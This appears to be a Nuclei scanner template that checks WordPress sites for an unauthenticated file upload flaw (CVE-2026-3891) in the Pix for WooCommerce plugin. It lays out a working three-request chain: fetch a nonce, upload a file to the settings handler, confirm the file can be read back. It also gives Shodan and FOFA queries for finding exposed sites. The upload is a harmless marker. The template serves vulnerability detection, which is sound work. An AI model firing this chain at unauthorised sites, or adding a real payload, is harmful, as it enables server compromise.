id: CVE-2026-3891

info:
  name: Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload
  author: m4sh_wacker
  severity: critical
  description: |
    The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of Pix for WooCommerce plugin.
  reference:
    - https://github.com/m4sh-wacker/CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit
    - https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-3891
    epss-score: 0.08797
    epss-percentile: 0.94649
    cwe-id: CWE-434
    cpe: cpe:2.3:a:linknacional:payment_gateway_pix_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: linknacional
    product: payment_gateway_pix_for_woocommerce
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/payment-gateway-pix-for-woocommerce"
    fofa-query: body="/wp-content/plugins/payment-gateway-pix-for-woocommerce"
  tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,file-upload,unauth,intrusive,rce

flow: http(1) && http(2) && http(3)

variables:
  marker: "{{randstr}}"
  fname: "{{rand_base(8)}}"
  boundary_id: "{{rand_int(100000, 999999)}}"

http:
  - id: step-1
    method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=lkn_pix_for_woocommerce_generate_nonce&action_name=lkn_pix_for_woocommerce_c6_settings_nonce"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '\"success\":true')"
        condition: and
        internal: true

    extractors:
      - type: json
        name: nonce
        internal: true
        json:
          - ".data.nonce"

  - id: step-2
    raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}

        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="action"

        lkn_pix_for_woocommerce_c6_save_settings
        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="_ajax_nonce"

        {{nonce}}
        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="certificate_crt_path"; filename="{{fname}}.crt"
        Content-Type: application/x-x509-ca-cert

        {{marker}}
        ------WebKitFormBoundary{{boundary_id}}--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Settings saved successfully')"
        condition: and
        internal: true

  - id: step-3
    method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/{{fname}}.crt"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201d8ca9f79f3d1302877735a1511ae4b176f9c4383395783f6700397a48f51b03022100df944c531bd7097fea20b52de02d03920af636a85692682bf33dafdae24c13af:922c64590222798bb761d5b6d8e72950